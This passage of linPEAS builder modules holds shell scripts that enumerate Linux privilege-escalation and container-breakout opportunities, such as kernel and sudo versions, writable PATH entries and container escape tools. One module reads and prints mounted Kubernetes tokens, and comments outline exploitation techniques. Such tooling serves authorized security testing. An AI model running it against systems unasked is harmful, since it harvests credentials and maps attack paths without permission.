T1547.006 # Functions Used: print_2title, print_3title # Global Variables: # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 echo "" print_2title "Kernel Modules Information" "T1547.006" # List loaded kernel modules if [ "$EXTRA_CHECKS" ] || [ "$DEBUG" ]; then print_3title "Loaded kernel modules" "T1547.006" if [ -f "/proc/modules" ]; then if command -v lsmod >/dev/null 2>&1; then lsmod else cat /proc/modules fi else echo_not_found "/proc/modules" fi fi # Check for kernel modules with weak permissions print_3title "Kernel modules with weak perms?" "T1547.006" if [ -d "/lib/modules" ]; then find /lib/modules -type f -name "*.ko" -ls 2>/dev/null | grep -Ev "root\s+root" | sed -${E} "s,.*,${SED_RED},g" if [ $? -eq 1 ]; then echo "No kernel modules with weak permissions found" fi else echo_not_found "/lib/modules" fi echo "" # Check for kernel modules that can be loaded by unprivileged users print_3title "Kernel modules loadable? " "T1547.006" if [ -f "/proc/sys/kernel/modules_disabled" ]; then if [ "$(cat /proc/sys/kernel/modules_disabled)" = "0" ]; then echo "Modules can be loaded" | sed -${E} "s,.*,${SED_RED},g" else echo "Modules cannot be loaded" | sed -${E} "s,.*,${SED_GREEN},g" fi else echo_not_found "/proc/sys/kernel/modules_disabled" fi # Check for module signature enforcement print_3title "Module signature enforcement? " "T1547.006" if [ -f "/proc/sys/kernel/module_sig_enforce" ]; then if [ "$(cat /proc/sys/kernel/module_sig_enforce)" = "1" ]; then echo "Enforced" | sed -${E} "s,.*,${SED_GREEN},g" else echo "Not enforced" | sed -${E} "s,.*,${SED_RED},g" fi elif [ -f "/sys/module/module/parameters/sig_enforce" ]; then if [ "$(cat /sys/module/module/parameters/sig_enforce)" = "Y" ]; then echo "Enforced" | sed -${E} "s,.*,${SED_GREEN},g" else echo "Not enforced" | sed -${E} "s,.*,${SED_RED},g" fi else echo_not_found "module_sig_enforce" fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/1_system_information/19_Kernel_Exploit_Registry.sh ================================================ # Title: System Information - Kernel Exploit Registry # ID: SY_Kernel_Exploit_Registry # Author: Carlos Polop # Last Update: 25-02-2026 # Description: Data-driven kernel exploit checks using embedded rules extracted from linux-exploit-suggester and linux-exploit-suggester-2. # Description: The module executes on all Unix-like systems and auto-detects OS applicability. # License: GNU GPL # Version: 1.0 # Mitre: T1068 # Functions Used: kercve_run_registry, print_2title # Global Variables: # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 print_2title "Kernel Exploit Registry" "T1068" kercve_run_registry echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/1_system_information/1_Operative_system.sh ================================================ # Title: System Information - Operative System # ID: SY_Operative_system # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Check for operating system information relevant to privilege escalation: # - OS version and distribution # - Kernel version # - Architecture # - Common vulnerable scenarios: # * Outdated OS versions # * Unpatched systems # * Known vulnerable distributions # * Architecture-specific vulnerabilities # - Exploitation methods: # * Version-specific exploits: Use known exploits for the OS version # * Common attack vectors: # - OS version exploits # - Distribution-specific vulnerabilities # - Architecture-specific exploits # - Kernel version exploits # * Exploit techniques: # - Version-specific payloads # - Distribution-specific attacks # - Architecture-specific techniques # - Kernel exploitation # License: GNU GPL # Version: 1.0 # Mitre: T1082 # Functions Used: print_2title, print_info, warn_exec # Global Variables: $MACPEAS, $kernelDCW_Ubuntu_Precise_1, $kernelB, $kernelDCW_Ubuntu_Precise_2, $kernelDCW_Ubuntu_Precise_3, $kernelDCW_Ubuntu_Precise_4, $kernelDCW_Ubuntu_Precise_5, $kernelDCW_Ubuntu_Precise_6, $kernelDCW_Rhel5_1, $kernelDCW_Rhel5_2, $kernelDCW_Rhel5_3, $kernelDCW_Rhel6_1, $kernelDCW_Rhel6_2, $kernelDCW_Rhel6_3, $kernelDCW_Rhel6_4, $kernelDCW_Rhel7, $kernelDCW_Ubuntu_Trusty_1, $kernelDCW_Ubuntu_Trusty_2, $kernelDCW_Ubuntu_Trusty_3, $kernelDCW_Ubuntu_Trusty_4, $kernelDCW_Ubuntu_Xenial # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 print_2title "Operative system" "T1082" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits" (cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED}," warn_exec lsb_release -a 2>/dev/null if [ "$MACPEAS" ]; then warn_exec system_profiler SPSoftwareDataType fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/1_system_information/2_Sudo_version.sh ================================================ # Title: System Information - Sudo Version # ID: SY_Sudo_version # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Check for sudo vulnerabilities and misconfigurations that could lead to privilege escalation: # - Vulnerable sudo versions with known exploits # - Common vulnerable versions and CVEs: # * CVE-2021-3156 (Baron Samedit): Heap overflow in sudo # * CVE-2021-23239: Potential privilege escalation # * CVE-2021-23240: Potential privilege escalation # * CVE-2021-23241: Potential privilege escalation # - Exploitation methods: # * Version exploits: Use known exploits for vulnerable sudo versions # * Common targets: sudo < 1.9.5p2 (Baron Samedit) # * Exploit techniques: # - Heap overflow exploitation # - Race conditions # - Memory corruption # - Command injection # License: GNU GPL # Version: 1.0 # Mitre: T1548.003,T1068 # Functions Used: echo_not_found, print_2title, print_info # Global Variables: $sudovB # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 print_2title "Sudo version" "T1548.003,T1068" if [ "$(command -v sudo 2>/dev/null || echo -n '')" ]; then print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version" sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED}," else echo_not_found "sudo" fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/1_system_information/3_USBCreator.sh ================================================ # Title: System Information - USBCreator # ID: SY_USBCreator # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Check for USBCreator vulnerabilities that could lead to privilege escalation: # - Vulnerable policykit-desktop-privileges versions # - Common vulnerable versions: # * policykit-desktop-privileges < 0.21 # - Exploitation methods: # * D-Bus command injection through USBCreator # * Abuse of policykit privileges # * Common attack vectors: # - D-Bus method call injection # - PolicyKit authentication bypass # - Command execution through USB creation # * Exploit techniques: # - D-Bus method spoofing # - PolicyKit privilege escalation # - USB device creation abuse # License: GNU GPL # Version: 1.0 # Mitre: T1548.003,T1068 # Functions Used: print_2title, print_info # Global Variables: $DEBUG # Initial Functions: # Generated Global Variables: $pc_version, $pc_length, $pc_major, $pc_minor # Fat linpeas: 0 # Small linpeas: 0 if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then print_2title "USBCreator" "T1548.003,T1068" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.html" pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+") if [ -z "$pc_version" ]; then pc_version=$(apt-cache policy policykit-desktop-privileges 2>/dev/null | grep -oP "\*\*\*.*" | cut -d" " -f2) fi if [ -n "$pc_version" ]; then pc_length=${#pc_version} pc_major=$(echo "$pc_version" | cut -d. -f1) pc_minor=$(echo "$pc_version" | cut -d. -f2) if [ "$pc_length" -eq 4 ] && [ "$pc_major" -eq 0 ] && [ "$pc_minor" -lt 21 ]; then echo "Vulnerable!!" | sed -${E} "s,.*,${SED_RED}," fi fi fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/1_system_information/4_Path.sh ================================================ # Title: System Information - Path # ID: SY_Path # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Check for PATH environment misconfigurations that could lead to privilege escalation: # - Writable directories in PATH # - Current directory (.) in PATH # - Common vulnerable scenarios: # * Writable system directories in PATH # * Current directory in PATH # * Relative paths in PATH # - Exploitation methods: # * PATH hijacking: Place malicious executables in writable PATH directories # * Common attack vectors: # - Replace common binaries (ls, cat, etc.) # - Create malicious executables with common names # - Abuse sudo PATH inheritance # * Exploit techniques: # - Binary replacement # - Symbolic link attacks # - PATH manipulation # - Sudo PATH abuse # License: GNU GPL # Version: 1.0 # Mitre: T1574.007 # Functions Used: print_2title, print_info # Global Variables: $DEBUG, $IAMROOT, $OLDPATH, $PATH, $Wfolders # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 print_2title "PATH" "T1574.007" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses" if ! [ "$IAMROOT" ]; then echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" fi if [ "$DEBUG" ]; then echo "New path exported: $PATH" fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/1_system_information/5_Date.sh ================================================ # Title: System Information - Date # ID: SY_Date # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Check for system date and uptime information relevant to privilege escalation: # - System uptime # - Last boot time # - System time # - Common vulnerable scenarios: # * Long uptime (unpatched systems) # * Time-based vulnerabilities # * Scheduled tasks timing # * Cron job timing # - Exploitation methods: # * Timing attacks: Abuse time-based vulnerabilities # * Common attack vectors: # - Race conditions # - Time-of-check to time-of-use (TOCTOU) # - Scheduled task abuse # - Cron job timing # * Exploit techniques: # - Race condition exploitation # - TOCTOU attacks # - Scheduled task manipulation # - Cron job abuse # License: GNU GPL # Version: 1.0 # Mitre: T1082 # Functions Used: print_2title, warn_exec # Global Variables: # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 print_2title "Date & uptime" "T1082" warn_exec date 2>/dev/null warn_exec uptime 2>/dev/null echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/1_system_information/6_CPU_info.sh ================================================ # Title: System Information - CPU info # ID: SY_CPU_info # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Check for CPU information relevant to privilege escalation: # - CPU architecture # - CPU features # - CPU vulnerabilities # - Common vulnerable scenarios: # * CPU-specific vulnerabilities (Spectre, Meltdown, etc.) # * Missing CPU mitigations # * Architecture-specific exploits # * CPU feature abuse # - Exploitation methods: # * CPU-based attacks: Abuse CPU vulnerabilities # * Common attack vectors: # - Spectre/Meltdown exploitation # - CPU feature abuse # - Architecture-specific attacks # - CPU timing attacks # * Exploit techniques: # - Side-channel attacks # - CPU feature exploitation # - Architecture-specific techniques # - CPU timing exploitation # License: GNU GPL # Version: 1.0 # Mitre: T1082 # Functions Used: print_2title, warn_exec # Global Variables: $DEBUG, $EXTRA_CHECKS # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if [ "$EXTRA_CHECKS" ] || [ "$DEBUG" ]; then print_2title "CPU info" "T1082" warn_exec lscpu 2>/dev/null echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/1_system_information/7_Mounts.sh ================================================ # Title: System Information - Mounts # ID: SY_Mounts # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Check for mount point misconfigurations that could lead to privilege escalation: # - Unmounted filesystems # - Mount point permissions # - Mount options # - Common vulnerable scenarios: # * Writable mount points # * Insecure mount options # * Unmounted sensitive filesystems # * Shared mount points # - Exploitation methods: # * Mount point abuse: Exploit mount misconfigurations # * Common attack vectors: # - Mount point modification # - Filesystem remounting # - Mount option abuse # - Shared mount exploitation # * Exploit techniques: # - Mount point manipulation # - Filesystem remounting # - Mount option exploitation # - Shared mount abuse # License: GNU GPL # Version: 1.0 # Mitre: T1082,T1120 # Functions Used: print_2title, print_info # Global Variables: $DEBUG, $mountG, $mountpermsB, $mountpermsG, $notmounted, $Wfolders, $mounted # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then print_2title "Unmounted file-system?" "T1082,T1120" print_info "Check if you can mount umounted devices" grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g" echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/1_system_information/8_Disks.sh ================================================ # Title: System Information - Disks # ID: SY_Disks # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Check for disk information and misconfigurations that could lead to privilege escalation: # - Available disks # - Disk permissions # - SMB shares # - Common vulnerable scenarios: # * Writable disks # * Insecure SMB shares # * Exposed disk devices # * Shared storage # - Exploitation methods: # * Disk access abuse: Exploit disk misconfigurations # * Common attack vectors: # - Disk device modification # - SMB share abuse # - Storage device access # - Shared disk exploitation # * Exploit techniques: # - Disk device manipulation # - SMB share exploitation # - Storage device abuse # - Shared disk access # License: GNU GPL # Version: 1.0 # Mitre: T1082 # Functions Used: print_2title, warn_exec # Global Variables: $DEBUG # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if [ -d "/dev" ] || [ "$DEBUG" ] ; then print_2title "Any sd*/disk* disk in /dev? (limit 20)" "T1082" ls /dev 2>/dev/null | grep -Ei "^sd|^disk" | sed "s,crypt,${SED_RED}," | head -n 20 echo "" fi if [ "$(command -v smbutil 2>/dev/null || echo -n '')" ] || [ "$DEBUG" ]; then print_2title "Mounted SMB Shares" "T1082" warn_exec smbutil statshares -a echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/1_system_information/9_Disks_extra.sh ================================================ # Title: System Information - Disks Extra # ID: SY_Disks_extra # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Check for additional disk information and system resources relevant to privilege escalation: # - Disk utilization # - Inode usage # - System resources # - Storage statistics # - Common vulnerable scenarios: # * Low disk space (potential for race conditions) # * Resource exhaustion # * Storage device misconfigurations # * System resource abuse # - Exploitation methods: # * Resource-based attacks: Abuse system resources # * Common attack vectors: # - Disk space exhaustion # - Resource starvation # - Storage device abuse # - System resource manipulation # * Exploit techniques: # - Resource exhaustion # - Storage device exploitation # - System resource abuse # - Resource-based attacks # License: GNU GPL # Version: 1.0 # Mitre: T1082 # Functions Used: print_2title, warn_exec # Global Variables: $DEBUG, $EXTRA_CHECKS # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if ([ "$(command -v diskutil 2>/dev/null || echo -n '')" ] || [ "$DEBUG" ]) && [ "$EXTRA_CHECKS" ]; then print_2title "Mounted disks information" "T1082" warn_exec diskutil list echo "" fi if [ "$EXTRA_CHECKS" ] || [ "$DEBUG" ]; then print_2title "System stats" "T1082" (df -h || lsblk) 2>/dev/null || echo_not_found "df and lsblk" warn_exec free 2>/dev/null echo "" print_2title "Inode usage" "T1082" warn_exec df -i 2>/dev/null echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/2_container/1_Container_tools.sh ================================================ # Title: Container - Container Tools # ID: CT_Container_tools # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Find container related tools in the PATH of the system that could be used for container escape: # - Container runtime tools # - Container management tools # - Container networking tools # - Common vulnerable scenarios: # * Misconfigured container tools # * Privileged container tools # * Container escape tools # - Exploitation methods: # * Tool abuse: Exploit container tool misconfigurations # * Common attack vectors: # - Runtime escape # - Privilege escalation # - Container breakout # * Exploit techniques: # - Tool misconfiguration abuse # - Privileged tool exploitation # - Container escape tool usage # License: GNU GPL # Version: 1.0 # Mitre: T1613 # Functions Used: print_2title # Global Variables: # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 print_2title "Container related tools present (if any):" "T1613" # Container runtimes command -v docker command -v lxc command -v rkt command -v podman command -v runc command -v ctr command -v containerd command -v crio command -v nerdctl # Container management command -v kubectl command -v crictl command -v docker-compose command -v docker-machine command -v minikube command -v kind # Container networking command -v docker-proxy command -v cni command -v flanneld command -v calicoctl # Container security command -v apparmor_parser command -v seccomp command -v gvisor command -v kata-runtime # Container debugging command -v nsenter command -v unshare command -v chroot command -v capsh command -v setcap command -v getcap echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/2_container/2_List_mounted_tokens.sh ================================================ # Title: Container - List mounted tokens # ID: CT_List_mounted_tokens # Author: Carlos Polop # Last Update: 22-08-2023 # Description: List tokens mounted in the system if any # License: GNU GPL # Version: 1.0 # Mitre: T1528,T1552.007 # Functions Used: print_2title, print_info # Global Variables: # Initial Functions: # Generated Global Variables: $ALREADY_TOKENS, $TEMP_TOKEN # Fat linpeas: 0 # Small linpeas: 1 if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then print_2title "Listing mounted tokens" "T1528,T1552.007" print_info "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.html" ALREADY_TOKENS="IinItialVaaluE" for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do TEMP_TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/')) if ! [ $(echo $TEMP_TOKEN | grep -E $ALREADY_TOKENS) ]; then ALREADY_TOKENS="$ALREADY_TOKENS|$TEMP_TOKEN" echo "Directory: $i" echo "Namespace: $(cat $i)" echo "" echo $TEMP_TOKEN echo "================================================================================" echo "" fi done fi ================================================ FILE: linPEAS/builder/linpeas_parts/2_container/3_Container_details.sh ================================================ # Title: Container - Container details # ID: CT_Container_details # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Get detailed container information relevant to privilege escalation: # - Container type and runtime # - Running containers # - Container configuration # - Common vulnerable scenarios: # * Misconfigured containers # * Privileged containers # * Exposed container APIs # * Container networking # - Exploitation methods: # * Container breakout: Exploit container misconfigurations # * Common attack vectors: # - Runtime escape # - Privilege escalation # - Container breakout # - Network escape # * Exploit techniques: # - Container misconfiguration abuse # - Privileged container exploitation # - Container API abuse # - Network escape techniques # License: GNU GPL # Version: 1.0 # Mitre: T1613,T1611 # Functions Used: containerCheck, echo_no, print_2title, print_list, warn_exec # Global Variables: $containerType # Initial Functions: containerCheck # Generated Global Variables: $dockercontainers, $podmancontainers, $lxccontainers, $rktcontainers, $containerCounts # Fat linpeas: 0 # Small linpeas: 1 print_2title "Container details" "T1613,T1611" print_list "Is this a container? ...........$NC $containerType" if [ -e "/proc/vz" ] && ! [ -e "/proc/bc" ]; then print_list "Container Runtime ..............$NC OpenVZ" fi if [ -f "/run/systemd/container" ]; then print_list "Systemd Container ..............$NC $(cat /run/systemd/container)" fi # Get container runtime info if [ "$(command -v docker || echo -n '')" ]; then print_list "Docker version ...............$NC " warn_exec docker version print_list "Docker info .................$NC " warn_exec docker info fi if [ "$(command -v podman || echo -n '')" ]; then print_list "Podman version ..............$NC " warn_exec podman version print_list "Podman info ................$NC " warn_exec podman info fi if [ "$(command -v lxc || echo -n '')" ]; then print_list "LXC version ................$NC " warn_exec lxc version print_list "LXC info ...................$NC " warn_exec lxc info fi print_list "Any running containers? ........ "$NC # Get counts of running containers for each platform dockercontainers=$(docker ps --format "{{.Names}}" 2>/dev/null | wc -l) podmancontainers=$(podman ps --format "{{.Names}}" 2>/dev/null | wc -l) lxccontainers=$(lxc list -c n --format csv 2>/dev/null | wc -l) rktcontainers=$(rkt list 2>/dev/null | tail -n +2 | wc -l) if [ "$dockercontainers" -eq "0" ] && [ "$lxccontainers" -eq "0" ] && [ "$rktcontainers" -eq "0" ] && [ "$podmancontainers" -eq "0" ]; then echo_no else containerCounts="" if [ "$dockercontainers" -ne "0" ]; then containerCounts="${containerCounts}docker($dockercontainers) "; fi if [ "$podmancontainers" -ne "0" ]; then containerCounts="${containerCounts}podman($podmancontainers) "; fi if [ "$lxccontainers" -ne "0" ]; then containerCounts="${containerCounts}lxc($lxccontainers) "; fi if [ "$rktcontainers" -ne "0" ]; then containerCounts="${containerCounts}rkt($rktcontainers) "; fi echo "Yes $containerCounts" | sed -${E} "s,.*,${SED_RED}," # List any running containers with more details if [ "$dockercontainers" -ne "0" ]; then echo "Running Docker Containers" | sed -${E} "s,.*,${SED_RED}," docker ps -a 2>/dev/null #echo "Docker Container Details" | sed -${E} "s,.*,${SED_RED}," #docker inspect $(docker ps -q) 2>/dev/null | grep -E "Privileged|CapAdd|CapDrop|SecurityOpt|HostConfig" | sed -${E} "s,true|privileged|host,${SED_RED},g" echo "" fi if [ "$podmancontainers" -ne "0" ]; then echo "Running Podman Containers" | sed -${E} "s,.*,${SED_RED}," podman ps -a 2>/dev/null #echo "Podman Container Details" | sed -${E} "s,.*,${SED_RED}," #podman inspect $(podman ps -q) 2>/dev/null | grep -E "Privileged|CapAdd|CapDrop|SecurityOpt|HostConfig" | sed -${E} "s,true|privileged|host,${SED_RED},g" echo "" fi if [ "$lxccontainers" -ne "0" ]; then echo "Running LXC Containers" | sed -${E} "s,.*,${SED_RED}," lxc list 2>/dev/null #echo "LXC Container Details" | sed -${E} "s,.*,${SED_RED}," #lxc config show $(lxc list -c n --format csv) 2>/dev/null | grep -E "security.privileged|security.capabilities|security.syscalls" | sed -${E} "s,true|privileged|host,${SED_RED},g" echo "" fi if [ "$rktcontainers" -ne "0" ]; then echo "Running RKT Containers" | sed -${E} "s,.*,${SED_RED}," rkt list 2>/dev/null #echo "RKT Container Details" | sed -${E} "s,.*,${SED_RED}," #rkt status $(rkt list --format=json 2>/dev/null | jq -r '.[].id') 2>/dev/null | grep -E "privileged|capabilities|security" | sed -${E} "s,true|privileged|host,${SED_RED},g" echo "" fi fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/2_container/4_Docker_container_details.sh ================================================ # Title: Container - Docker Container details # ID: CT_Docker_container_details # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Get docker Container details from the inside # License: GNU GPL # Version: 1.0 # Mitre: T1613 # Functions Used: checkDockerRootless, checkDockerVersionExploits, containerCheck, enumerateDockerSockets, inDockerGroup, print_2title, print_list # Global Variables: $containerType, $DOCKER_GROUP, $DOCKER_ROOTLESS, $dockerVersion, $inContainer, $VULN_CVE_2019_5736, $VULN_CVE_2019_13139, $VULN_CVE_2021_41091 # Initial Functions: containerCheck # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 #If docker if echo "$containerType" | grep -qi "docker"; then print_2title "Docker Container details" "T1613" inDockerGroup print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "Looking and enumerating Docker Sockets (if any):\n"$NC enumerateDockerSockets print_list "Docker version .................$NC$dockerVersion" checkDockerVersionExploits print_list "Vulnerable to CVE-2019-5736 ....$NC$VULN_CVE_2019_5736"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "Vulnerable to CVE-2021-41091 ...$NC$VULN_CVE_2021_41091"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," if [ "$inContainer" ]; then checkDockerRootless print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN}," echo "" fi if df -h | grep docker; then print_2title "Docker Overlays" "T1613" df -h | grep docker fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/2_container/5_Container_breakout.sh ================================================ # Title: Container - Container & breakout enumeration # ID: CT_Container_breakout # Author: Carlos Polop # Last Update: 07-03-2024 # Description: Container breakout enumeration to identify potential escape vectors: # - Container runtime vulnerabilities # - Mount point misconfigurations # - Capability abuse # - Namespace escape # - Common vulnerable scenarios: # * Privileged containers # * Misconfigured mounts # * Excessive capabilities # * Namespace isolation bypass # * Runtime vulnerabilities # * Container escape tools # * Shared kernel exploits # * Container escape CVEs # - Exploitation methods: # * Mount escape: Abuse mount misconfigurations # * Capability abuse: Exploit excessive capabilities # * Namespace escape: Break out of container namespaces # * Runtime escape: Exploit container runtime vulnerabilities # * Common attack vectors: # - Mount point manipulation # - Capability exploitation # - Namespace breakout # - Runtime vulnerability abuse # - Kernel exploit abuse # - Container escape tool usage # * Exploit techniques: # - Mount point abuse # - Capability escalation # - Namespace escape # - Runtime exploitation # - Kernel exploitation # - Container escape tool execution # License: GNU GPL # Version: 1.0 # Mitre: T1611 # Functions Used: checkContainerExploits, checkProcSysBreakouts, containerCheck, enumerateDockerSockets, print_2title, print_3title, print_info, print_list, warn_exec # Global Variables: $binfmt_misc_breakout, $containercapsB, $containerType, $core_pattern_breakout, $dev_mounted, $efi_efivars_writable, $efi_vars_writable, $GREP_IGNORE_MOUNTS, $inContainer, $kallsyms_readable, $kcore_readable, $kmem_readable, $kmem_writable, $kmsg_readable, $mem_readable, $mem_writable, $modprobe_present, $mountinfo_readable, $panic_on_oom_dos, $panic_sys_fs_dos, $proc_configgz_readable, $proc_mounted, $run_unshare, $release_agent_breakout1, $release_agent_breakout2, $release_agent_breakout3, $sched_debug_readable, $security_present, $security_writable, $sysreq_trigger_dos, $uevent_helper_breakout, $vmcoreinfo_readable, $VULN_CVE_2019_5021, $self_mem_readable # Initial Functions: containerCheck # Generated Global Variables: $defautl_docker_caps, $containerd_version, $runc_version, $seccomp_mode_num, $seccomp_mode_desc # Fat linpeas: 0 # Small linpeas: 0 if [ "$inContainer" ]; then echo "" print_2title "Container & breakout enumeration" "T1611" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html" # Basic container info print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')" if [ -f "/proc/1/cpuset" ] && echo "$containerType" | grep -qi "docker"; then print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n" fi # Security mechanisms print_3title "Security Mechanisms" "T1611" seccomp_mode_num="$(awk '/^Seccomp:/{print $2}' /proc/self/status 2>/dev/null)" seccomp_mode_desc="unknown" case "$seccomp_mode_num" in 0) seccomp_mode_desc="disabled" ;; 1) seccomp_mode_desc="strict" ;; 2) seccomp_mode_desc="filtering" ;; esac print_list "Seccomp mode ................... "$NC (printf "%s (%s)\n" "$seccomp_mode_desc" "${seccomp_mode_num:-?}") | sed "s,disabled,${SED_RED}," | sed "s,strict,${SED_RED_YELLOW}," | sed "s,filtering,${SED_GREEN}," if grep -q "^Seccomp_filters:" /proc/self/status 2>/dev/null; then print_list "Seccomp filters ............... "$NC awk '/^Seccomp_filters:/{print $2}' /proc/self/status 2>/dev/null | sed -${E} "s,^[0-9]+$,${SED_GREEN}&," fi print_list "AppArmor profile? .............. "$NC (cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN}," print_list "User proc namespace? ........... "$NC if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then (printf "enabled"; cat /proc/self/uid_map) | sed "s,enabled,${SED_GREEN},"; echo "" echo " Mappings (Container -> Host -> Range):" cat /proc/self/uid_map | awk '{print " " $1 " -> " $2 " -> " $3}' else echo "disabled" | sed "s,disabled,${SED_RED},"; fi # Known vulnerabilities print_3title "Known Vulnerabilities" "T1611" checkContainerExploits print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," # Check for container escape tools print_list "Container escape tools present .. "$NC (command -v nsenter || command -v unshare || command -v chroot || command -v capsh || command -v setcap || command -v getcap || command -v docker || command -v kubectl || command -v ctr || command -v runc || command -v containerd || command -v crio || command -v podman || command -v lxc || command -v rkt || command -v nerdctl || echo "No") | sed -${E} "s,nsenter|unshare|chroot|capsh|setcap|getcap|docker|kubectl|ctr|runc|containerd|crio|podman|lxc|rkt|nerdctl,${SED_RED},g" # Runtime vulnerabilities print_3title "Runtime Vulnerabilities" "T1611" # Check for known runtime vulnerabilities if [ "$(command -v runc || echo -n '')" ]; then print_list "Runc version ................. "$NC warn_exec runc --version # Check for specific runc vulnerabilities runc_version=$(runc 